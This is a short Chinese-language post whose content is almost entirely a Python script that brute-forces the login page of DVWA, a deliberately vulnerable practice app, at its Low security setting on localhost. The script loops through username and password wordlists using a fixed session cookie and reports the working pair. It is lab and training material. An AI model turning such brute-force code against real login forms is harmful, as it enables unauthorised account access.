DVWA暴力破解Low级Python脚本

代码如下:

import requests

HOST = '127.0.0.1'

USZiDian = input("UserName字典路径 : ")
with open(USZiDian,'r') as uf:
    User = uf.read().split('\n')

PAZiDian = input("PassWord字典路径 : ")
with open(PAZiDian,'r') as pf:
    Pass = pf.read().split('\n')

headers = {
    'Host': HOST,
    'Upgrade-Insecure-Requests': '1',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'Referer': f'http://{HOST}/vulnerabilities/brute/',
    'Accept-Encoding': 'gzip, deflate',
    'Accept-Language': 'zh-CN,zh;q=0.9',
    'Cookie': 'PHPSESSID=pnhm6bioohb39ih33t718b0l22; security=low',
    'Connection': 'close'
}
flag = 'Welcome to the password protected area admin'
for UserName in User:
    for PassWord in Pass:
        url = f'http://{HOST}/vulnerabilities/brute/?username={UserName}&password={PassWord}&Login=Login#'
        response = requests.get(url=url, headers=headers)
        LocStart = response.content.decode().index('<p>')+3
        LocEnd = response.content.decode().index('</p>')
        if(response.content.decode()[LocStart:LocEnd] == flag):
            print("\033[32m" + f"[+] {UserName}:{PassWord} is True" +"\033[30m")
            break
        else:
            print("\033[31m" + f"[-] {UserName}:{PassWord}" +"\033[30m")